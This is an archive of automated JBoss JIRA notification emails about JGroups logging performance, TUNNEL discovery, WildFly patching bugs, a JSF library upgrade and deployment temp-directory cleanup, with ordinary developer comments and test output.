> The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).
> This is the case both with TRACE logging enabled and disabled !
> The logger here is basically a pass-through to log4j2.
> The test can be started with
> java org.jgroups.tests.bla5 10000 true // use the new format
>     or
> java org.jgroups.tests.bla5 10000 false / use the old format
> h3. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
> - OLD :5.0 M statements/sec
> - NEW: 2.7 M statements/sec
> h4. Questions / observations:
> - If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
> - If I remove the varargs, I get the same perf, too
> - Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?
> h3. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
> - OLD: 11'000 statements / sec
> - NEW:  7'200 statements / sec
> h4. Questions/observations:
> - If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
> - Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?
> Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 07:18:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 07:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1693) log4j2: performance impact
In-Reply-To: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500601.1378990895000.30079.1379416683853@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1693?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1693.
----------------------------

    Resolution: Done

    
> log4j2: performance impact
> --------------------------
>
>                 Key: JGRP-1693
>                 URL: https://issues.jboss.org/browse/JGRP-1693
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: bla5.java, log4j2.xml
>
>
> I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...
> The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).
> This is the case both with TRACE logging enabled and disabled !
> The logger here is basically a pass-through to log4j2.
> The test can be started with
> java org.jgroups.tests.bla5 10000 true // use the new format
>     or
> java org.jgroups.tests.bla5 10000 false / use the old format
> h3. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
> - OLD :5.0 M statements/sec
> - NEW: 2.7 M statements/sec
> h4. Questions / observations:
> - If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
> - If I remove the varargs, I get the same perf, too
> - Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?
> h3. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
> - OLD: 11'000 statements / sec
> - NEW:  7'200 statements / sec
> h4. Questions/observations:
> - If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
> - Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?
> Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 07:36:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 07:36:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1695) TUNNEL cannot work without
	PING
In-Reply-To: <JIRA.12500743.1379317768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500743.1379317768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500743.1379317768000.30105.1379417764618@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1695?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805025#comment-12805025 ] 

Bela Ban commented on JGRP-1695:
--------------------------------

TUNNEL only works with PING.
                
> TUNNEL cannot work without PING
> -------------------------------
>
>                 Key: JGRP-1695
>                 URL: https://issues.jboss.org/browse/JGRP-1695
>             Project: JGroups
>          Issue Type: Bug
>         Environment: JGroups 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.4
>
>
> when I used following config:
> <TUNNEL gossip_router_hosts="192.168.2.108[8888]" />
> <FILE_PING/>
> The cluster were not found each other. (The same as any Discovery which not be PING). But if used <PING/> that would be ok.
> Is the TUNNEL just only support <PING/> ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 07:38:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 07:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1695) TUNNEL cannot work without
	PING
In-Reply-To: <JIRA.12500743.1379317768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500743.1379317768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500743.1379317768000.30108.1379417883501@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1695?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1695.
----------------------------

    Resolution: Rejected


Again, it would be nice if you ask questions on the mailing list before opening a JIRA issue.
                
> TUNNEL cannot work without PING
> -------------------------------
>
>                 Key: JGRP-1695
>                 URL: https://issues.jboss.org/browse/JGRP-1695
>             Project: JGroups
>          Issue Type: Bug
>         Environment: JGroups 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.4
>
>
> when I used following config:
> <TUNNEL gossip_router_hosts="192.168.2.108[8888]" />
> <FILE_PING/>
> The cluster were not found each other. (The same as any Discovery which not be PING). But if used <PING/> that would be ok.
> Is the TUNNEL just only support <PING/> ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 07:55:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 07:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1696) Executing protocol loses work
 and ties up consumer when view changes
In-Reply-To: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500778.1379343428000.30154.1379418904515@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1696?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805035#comment-12805035 ] 

Bela Ban commented on JGRP-1696:
--------------------------------

OK, no need, I fixed this by replacing owner.getAddress() with local_addr. This made the attached unit test pass.
Thanks,
                
> Executing protocol loses work and ties up consumer when view changes
> --------------------------------------------------------------------
>
>                 Key: JGRP-1696
>                 URL: https://issues.jboss.org/browse/JGRP-1696
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.12, 3.3.5
>            Reporter: Anuj Shah
>            Assignee: Bela Ban
>             Fix For: 3.3.6, 3.4
>
>         Attachments: TestExecutingDisconnect.java
>
>
> When a run is submitted to another cluster member and that member leaves the run is re-requested, but from the wrong owner. This results in the run never being completed and an awaiting consumer being removed from the coordinator list indefinitely.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 07:57:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 07:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1696) Executing protocol loses work
 and ties up consumer when view changes
In-Reply-To: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500778.1379343428000.30171.1379419023557@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1696?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1696.
----------------------------

    Resolution: Done


Back-ported to 3.3 as well
                
> Executing protocol loses work and ties up consumer when view changes
> --------------------------------------------------------------------
>
>                 Key: JGRP-1696
>                 URL: https://issues.jboss.org/browse/JGRP-1696
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.12, 3.3.5
>            Reporter: Anuj Shah
>            Assignee: Bela Ban
>             Fix For: 3.3.6, 3.4
>
>         Attachments: TestExecutingDisconnect.java
>
>
> When a run is submitted to another cluster member and that member leaves the run is re-requested, but from the wrong owner. This results in the run never being completed and an awaiting consumer being removed from the coordinator list indefinitely.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:07:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2022) Update JSF based on Mojarra
	2.2.3 final
In-Reply-To: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500243.1378495699000.30194.1379419623963@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2022?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805045#comment-12805045 ] 

RH Bugzilla Integration commented on WFLY-2022:
-----------------------------------------------

Stan Silvert <ssilvert at redhat.com> changed the Status of [bug 1008632|https://bugzilla.redhat.com/show_bug.cgi?id=1008632] from NEW to CLOSED
                
> Update JSF based on Mojarra 2.2.3 final
> ---------------------------------------
>
>                 Key: WFLY-2022
>                 URL: https://issues.jboss.org/browse/WFLY-2022
>             Project: WildFly
>          Issue Type: Library Upgrade
>          Components: JSF
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>             Fix For: 8.0.0.Beta1
>
>
> Update JSF based on Mojarra 2.2.3 Final, published at Sep, 5th.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:22:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1083) PreparedStatement cache
 constraints not maintained
In-Reply-To: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500678.1379075076000.30222.1379420523427@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1083?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805054#comment-12805054 ] 

RH Bugzilla Integration commented on JBJCA-1083:
------------------------------------------------

Jesper Pedersen <jpederse at redhat.com> made a comment on [bug 1008763|https://bugzilla.redhat.com/show_bug.cgi?id=1008763]

https://bugzilla.redhat.com/show_bug.cgi?id=1008969
                
> PreparedStatement cache constraints not maintained
> --------------------------------------------------
>
>                 Key: JBJCA-1083
>                 URL: https://issues.jboss.org/browse/JBJCA-1083
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: JDBC
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.21.Final, 1.1.1.Final
>
>
> The PreparedStatement cache doesn't maintain its constraint on the number of cached entries

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1823) Patching: attempt to apply
 broken cumulative patch results in inconsistent state of one-offs
In-Reply-To: <JIRA.12497952.1375709229000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497952.1375709229000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497952.1375709229000.30239.1379421064010@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1823?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1823:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1008974

    
> Patching: attempt to apply broken cumulative patch results in inconsistent state of one-offs
> --------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1823
>                 URL: https://issues.jboss.org/browse/WFLY-1823
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Emanuel Muckenhuber
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> attempt to install broken cumulative patch is correctly rejected but previously installed one-offs are partially invalidated (at least one-offs which add misc files)
> see test CumulativePatchingScenariosTestCase#testOneOffInvalidCumulativePatch
> it installs one-off that adds misc file then installs one-off that adds module
> and then tries to install broken CP, CP is rejected but misc file added by first one-off doesn't exist

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1823) Patching: attempt to apply
 broken cumulative patch results in inconsistent state of one-offs
In-Reply-To: <JIRA.12497952.1375709229000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497952.1375709229000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497952.1375709229000.30243.1379421064175@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1823?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805059#comment-12805059 ] 

RH Bugzilla Integration commented on WFLY-1823:
-----------------------------------------------

Martin Simka <msimka at redhat.com> made a comment on [bug 1008974|https://bugzilla.redhat.com/show_bug.cgi?id=1008974]

attempt to install broken cumulative patch is correctly rejected but previously installed one-offs are partially invalidated (at least one-offs which add misc files)

see test CumulativePatchingScenariosTestCase#testOneOffInvalidCumulativePatch
it installs one-off that adds misc file then installs one-off that adds module
and then tries to install broken CP, CP is rejected but misc file added by first one-off doesn't exist


This is fixed in ER1, just cloning the issue for reference.
                
> Patching: attempt to apply broken cumulative patch results in inconsistent state of one-offs
> --------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1823
>                 URL: https://issues.jboss.org/browse/WFLY-1823
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Emanuel Muckenhuber
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> attempt to install broken cumulative patch is correctly rejected but previously installed one-offs are partially invalidated (at least one-offs which add misc files)
> see test CumulativePatchingScenariosTestCase#testOneOffInvalidCumulativePatch
> it installs one-off that adds misc file then installs one-off that adds module
> and then tries to install broken CP, CP is rejected but misc file added by first one-off doesn't exist

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1823) Patching: attempt to apply
 broken cumulative patch results in inconsistent state of one-offs
In-Reply-To: <JIRA.12497952.1375709229000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497952.1375709229000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497952.1375709229000.30247.1379421064401@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1823?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805060#comment-12805060 ] 

RH Bugzilla Integration commented on WFLY-1823:
-----------------------------------------------

Martin Simka <msimka at redhat.com> changed the Status of [bug 1008974|https://bugzilla.redhat.com/show_bug.cgi?id=1008974] from NEW to VERIFIED
                
> Patching: attempt to apply broken cumulative patch results in inconsistent state of one-offs
> --------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1823
>                 URL: https://issues.jboss.org/browse/WFLY-1823
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Emanuel Muckenhuber
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> attempt to install broken cumulative patch is correctly rejected but previously installed one-offs are partially invalidated (at least one-offs which add misc files)
> see test CumulativePatchingScenariosTestCase#testOneOffInvalidCumulativePatch
> it installs one-off that adds misc file then installs one-off that adds module
> and then tries to install broken CP, CP is rejected but misc file added by first one-off doesn't exist

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:33:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1822) Patching: rollback
 --reset-configuration=false reverts configuration
In-Reply-To: <JIRA.12497950.1375706255000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497950.1375706255000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497950.1375706255000.30254.1379421183657@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1822?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1822:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1008976

    
> Patching: rollback --reset-configuration=false reverts configuration
> --------------------------------------------------------------------
>
>                 Key: WFLY-1822
>                 URL: https://issues.jboss.org/browse/WFLY-1822
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Emanuel Muckenhuber
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> patch rollback --patch-id=<id> --reset-configuration=false reverts configuration to state before applying patch 
> see test CumulativePatchingScenariosTestCase#testCumulativePatchRollbackRestoreConfiguration

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:33:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1822) Patching: rollback
 --reset-configuration=false reverts configuration
In-Reply-To: <JIRA.12497950.1375706255000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497950.1375706255000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497950.1375706255000.30259.1379421183952@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1822?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805062#comment-12805062 ] 

RH Bugzilla Integration commented on WFLY-1822:
-----------------------------------------------

Martin Simka <msimka at redhat.com> made a comment on [bug 1008976|https://bugzilla.redhat.com/show_bug.cgi?id=1008976]

patch rollback --patch-id=<id> --reset-configuration=false reverts configuration to state before applying patch

see test CumulativePatchingScenariosTestCase#testCumulativePatchRollbackRestoreConfiguration


This is fixed in ER1, just cloning the issue for reference.
                
> Patching: rollback --reset-configuration=false reverts configuration
> --------------------------------------------------------------------
>
>                 Key: WFLY-1822
>                 URL: https://issues.jboss.org/browse/WFLY-1822
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Emanuel Muckenhuber
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> patch rollback --patch-id=<id> --reset-configuration=false reverts configuration to state before applying patch 
> see test CumulativePatchingScenariosTestCase#testCumulativePatchRollbackRestoreConfiguration

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1822) Patching: rollback
 --reset-configuration=false reverts configuration
In-Reply-To: <JIRA.12497950.1375706255000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497950.1375706255000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497950.1375706255000.30267.1379421303756@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1822?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805063#comment-12805063 ] 

RH Bugzilla Integration commented on WFLY-1822:
-----------------------------------------------

Martin Simka <msimka at redhat.com> changed the Status of [bug 1008976|https://bugzilla.redhat.com/show_bug.cgi?id=1008976] from NEW to VERIFIED
                
> Patching: rollback --reset-configuration=false reverts configuration
> --------------------------------------------------------------------
>
>                 Key: WFLY-1822
>                 URL: https://issues.jboss.org/browse/WFLY-1822
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Emanuel Muckenhuber
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> patch rollback --patch-id=<id> --reset-configuration=false reverts configuration to state before applying patch 
> see test CumulativePatchingScenariosTestCase#testCumulativePatchRollbackRestoreConfiguration

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 08:35:04 2013
From: jira-events at lists.jboss.org (Shaun Appleton (JIRA))
Date: Tue, 17 Sep 2013 08:35:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.30282.1379421304592@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805064#comment-12805064 ] 

Shaun Appleton commented on WFLY-1547:
--------------------------------------

I have tested  build #684 wildfly-8.0.0.Beta1-SNAPSHOT from https://ci.jboss.org/hudson/job/WildFly-latest-master/ dated 16Sep2013 


It looks good to me.

further details:

start wildfly in standalone mode with an ear deployed and using -Xrs 
then examine the vfs directory

[sappleto at localhost vfs]$ ls
deployment  temp
[sappleto at localhost vfs]$ tree
.
??? deployment
?   ??? deployment66eab101a317e9dc
?       ??? jboss-as-ejb-in-ear-ejb.jar-11d777cd5d07eb11
?       ?   ??? contents
?       ?   ??? jboss-as-ejb-in-ear-ejb.jar
?       ??? jboss-as-ejb-in-ear-web.war-f6a6eb1501fcd144
?           ??? greeter.xhtml
?           ??? index.html
?           ??? META-INF
?           ?   ??? MANIFEST.MF
?           ?   ??? maven
?           ?       ??? org.jboss.as.quickstarts
?           ?           ??? jboss-as-ejb-in-ear-web
?           ?               ??? pom.properties
?           ?               ??? pom.xml
?           ??? WEB-INF
?               ??? beans.xml
?               ??? classes
?               ?   ??? org
?               ?       ??? jboss
?               ?           ??? as
?               ?               ??? quickstarts
?               ?                   ??? ear
?               ?                       ??? controller
?               ?                           ??? Greeter.class
?               ??? faces-config.xml
??? temp
    ??? temp8214eb8231b421f
        ??? jboss-as-ejb-in-ear-ear.ear-23e4035bb08c8d13
            ??? contents
            ??? jboss-as-ejb-in-ear-ear.ear

21 directories, 10 files

kill wildfly and re-start 

examine vfs dir:


[sappleto at localhost vfs]$ tree
.
??? deployment
?   ??? deployment2d33c8864573c359
?       ??? jboss-as-ejb-in-ear-ejb.jar-c4db878fe860c9a0
?       ?   ??? contents
?       ?   ??? jboss-as-ejb-in-ear-ejb.jar
?       ??? jboss-as-ejb-in-ear-web.war-af7a1f0b197d28ca
?           ??? greeter.xhtml
?           ??? index.html
?           ??? META-INF
?           ?   ??? MANIFEST.MF
?           ?   ??? maven
?           ?       ??? org.jboss.as.quickstarts
?           ?           ??? jboss-as-ejb-in-ear-web
?           ?               ??? pom.properties
?           ?               ??? pom.xml
?           ??? WEB-INF
?               ??? beans.xml
?               ??? classes
?               ?   ??? org
?               ?       ??? jboss
?               ?           ??? as
?               ?               ??? quickstarts
?               ?                   ??? ear
?               ?                       ??? controller
?               ?                           ??? Greeter.class
?               ??? faces-config.xml
??? temp
    ??? temp8ea3b22d2b35a6c2
        ??? jboss-as-ejb-in-ear-ear.ear-e47cb5a9268c7360
            ??? contents
            ??? jboss-as-ejb-in-ear-ear.ear

21 directories, 10 files
[sappleto at localhost vfs]$

So no dir or file growth.



Repeating start, kill, start, kill, ... ,start, kill shows no growth in number of files or dirs
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 17 08:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 08:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1908) patching doesn't clean temp
 folder after patch applying
In-Reply-To: <JIRA.12498991.1377000852000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498991.1377000852000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498991.1377000852000.30293.1379421424001@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1908?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805066#comment-12805066 ] 

RH Bugzilla Integration commented on WFLY-1908:
-----------------------------------------------

Martin Simka <msimka at redhat.com> made a comment on [bug 1008978|https://bugzilla.redhat.com/show_bug.cgi?id=1008978]

empty folders jboss-as-patch-# are left in /tmp/ after patch applying
                
> patching doesn't clean temp folder after patch applying
> -------------------------------------------------------
>
>                 Key: WFLY-1908
>                 URL: https://issues.jboss.org/browse/WFLY-1908
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Martin Simka
>            Assignee: Martin Simka
>            Priority: Trivial
>              Labels: patching
>             Fix For: 8.0.0.Beta1
>
>
> empty folders jboss-as-patch-# are left in /tmp/ after patch applying

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

